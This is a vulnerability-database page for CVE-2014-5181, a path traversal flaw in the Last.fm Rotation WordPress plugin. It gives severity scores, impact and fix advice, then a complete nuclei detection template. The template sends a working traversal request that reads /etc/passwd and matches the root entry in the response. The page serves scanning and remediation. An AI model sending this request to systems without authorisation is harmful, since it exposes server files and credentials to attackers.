HexBrain

Browse / CVEs / CVE-2014-5181

CVE-2014-5181· last.fm rotation plugin project / lastfm-rotation plugin· CWE-22

Last.fm Rotation 1.0 - Path Traversal

mediumseverity
5CVSS score
4.3%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Directory traversal vulnerability in lastfm-proxy.php in the Last.fm Rotation (lastfm-rotation) plugin 1.0 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the snode parameter.

Impact

Remote attackers can read arbitrary files on the server, potentially leading to information disclosure or further exploitation.

Fix

Update to the latest version of the plugin or apply security patches to fix the vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body,"/wp-content/plugins/lastfm-rotation/") and status_code == 200
Send: GET /wp-content/plugins/lastfm-rotation/lastfm-proxy.php?snode=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-5181 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-5181

info:
  name: Last.fm Rotation 1.0 - Path Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    Directory traversal vulnerability in lastfm-proxy.php in the Last.fm Rotation (lastfm-rotation) plugin 1.0 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the snode parameter.
  impact: |
    Remote attackers can read arbitrary files on the server, potentially leading to information disclosure or further exploitation.
  remediation: |
    Update to the latest version of the plugin or apply security patches to fix the vulnerability.
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5181
    cwe-id: CWE-22
    epss-score: 0.04259
    epss-percentile: 0.91143
    cpe: cpe:2.3:a:last.fm_rotation_plugin_project:lastfm-rotation_plugin:1.0:*:*:*:*:wordpress:*:*
  metadata:
    vendor: last.fm_rotation_plugin_project
    product: lastfm-rotation_plugin
    framework: wordpress
  tags: wpscan,cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,lastfm-rotation,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/lastfm-rotation/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/lastfm-rotation/lastfm-proxy.php?snode=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

Use this check only on systems you are authorised to test. Where the data comes from